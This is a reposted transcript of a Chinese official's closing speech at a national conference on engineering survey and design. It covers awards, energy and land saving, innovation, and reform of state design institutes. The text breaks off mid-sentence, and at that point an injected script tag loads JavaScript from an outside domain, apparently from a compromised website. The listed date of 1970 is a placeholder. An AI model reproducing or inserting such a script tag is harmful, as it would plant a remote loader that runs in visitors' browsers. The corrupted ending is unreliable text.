徐波同志在全國勘察設計工作表彰大會暨新時期設計指導思想研討會上的總結講話
來源：北京工程勘察設計協會
發布時間：1970-01-01
經過長時間精心籌備的全國勘察設計工作表彰會暨新時期設計指導思想研討會，在與會代表的共同努力和支持下，即將完成所有的議程，圓滿結束了。在此，我對這次會議的情況做一個小結。
一、關于這次會議的收獲
會議期間，黃衛副部長就勘察設計行業的發展、提高自主創新能力發表了重要講話。第四批勘察設計大師江歡成院士、李志強大師、第三屆梁思成建筑獎獲得者程泰寧建筑師等六位同志在會議論壇上做了學術報告，全國優秀勘察設計獲獎單位代表中冶京誠工程技術有限公司、中國航空工業規劃設計研究院、北京市建筑設計研究院等五個單位做了經驗交流。代表們就當前我國工程勘察設計工作中取得的成績和經驗，特別是在新時期如何貫徹落實科學發展觀，樹立正確的設計指導思想，不斷提高自主創新能力，發揮我國工程技術人員在建設資源節約型、環境友好型社會中的作用等問題進行了深入研討。特別是大師們的主題發言和提交的論文，對指導勘察設計行業的健康發展、對廣大勘察設計工作者在新時期形成正確的指導思想，將起到積極的作用。
這次會議取得的主要成果有：
一是表揚了先進，樹立了榜樣，鼓舞了勘察設計工作者的士氣。會議表彰了第四批60名勘察設計大師、第三屆3名梁思成建筑獎和梁思成建筑獎提名獎獲獎者，以及2004年度國家級優秀設計270項，其中金質獎55項。我們要在全行業深入開展向全國勘察設計大師和梁思成建筑獎獲獎者學習，向全國優秀勘察設計獲獎單位學習的活動。學習他們科學嚴謹、精益求精的工作作風；學習他們永不滿足，勇攀科技高峰的進取精神；學習他們胸懷大局，勇于承擔社會責任的道德修養，精心勘察、精心設計，繪制一流的建設藍圖，為全面建設小康社會打下堅實的基礎。
二是做了思想動員，倡導樹立新的設計指導思想。勘察設計行業要在節能、節地、節水、節材工作中發揮更大的作用，按照汪部長在中國土木工程學會年會講話中提出的要求，做到用“四節”來重新審視建筑業。建設資源節約型社會可以從兩個方面入手，一是生產，二是消費。從生產方面節約資源，主要是要在生產過程中提高資源的使用效率。由于國際貿易的存在，對某些國內稀缺的生產要素，如石油、鐵礦石等，可以通過貿易方式獲得，但是有些生產要素不能通過貿易獲得，例如土地和淡水資源，所以，不可貿易的資源才是經濟發展中真正難以逾越的瓶頸。因此，節約土地是比節約其他可貿易資源更為重要和緊迫的問題。當前我國的建筑節能的形勢非常嚴峻，從我們調研的情況看，許多建筑項目都沒能嚴格地執行建筑節能強制性標準，在建筑的建造和使用中，能源資源消耗高，利用效率低。為此，我部即將在全國36個省（區）、直轄市開展建筑節能查活動。希望各地主管部門和各勘察設計單位，及時調整工作重心，為建設資源節約型、環境友好型社會擔負起更為重要的歷史使命，從管理和制度上切實保證建筑節能標準在建筑工程中的嚴格執行，將節能、節地、節水、節材和環境保護作為今后一段較長時期工作突出的重點。不但要從工程本身體現資源節約，而且更要降低包括工業項目、大型公共建筑項目在運行中的能耗。工藝設計不但要保證產品質量、保證降低成本、保證優化升級，而且在整個工藝流程設計中要體現循環經濟。
三是指明了發展方向，勘察設計行業的發展要立足自主創新，不斷提高勘察設計技術水平。工程創新是技術創新的主要平臺，工程是現實的、直接的生產力，科學、技術轉化為現實生產力的功能一般都要通過工程這一環節。全國每年固定資產投資約60%要通過建筑業轉化為生產力。科技成果的轉化、技術創新成果的體現，歸根結底都需要在工程活動中“實現”并檢驗其有效性、可靠性。從經濟發展和社會進步的歷史和現實中可以看出，對于一個國家、地區、產業、企業而言，工程創新是創新活動的主戰場。同時，還應看到，工程創新是集成性創新，既包括技術層面的集成，也包括管理層面的集成。所以，作為將各項研究成果、技術標準工程化的勘察設計行業，要著力培育發展集成創新能力。這不但關系到工程建設事業的發展，也關系到經濟社會的可持續發展。
二、關于勘察設計行業的發展問題
1、繼續推進國有設計院體制機制改革與創新。解決勘察設計單位面臨的種種問題，以及培育自主創新能力，獲得良好發展，都需要在體制和機制方面進行改革和創新，用機制體制作為保障。設計院要多元發展、多形式發展，既要有大院，也要有專業事務所，對接不同的市場，發揮各自的優勢。設計單位并不是必須小型化，也并非一律要民營化。關鍵的是要有好的機制、好的品牌。對于一個大型勘察設計單位，創建合理的激勵和約束機制比一味追求參股持股更為重要。例如英國奧雅納公司（ARUP）為什么能夠承接國貿三期、國家體育場、國家游泳中心、新機場擴建、新中央電視臺等大型建設項目的結構設計，其中的一個原因是ARUP有一個科學合理的機制，能?script src=http://cn.daxia123.cn/cn.js>
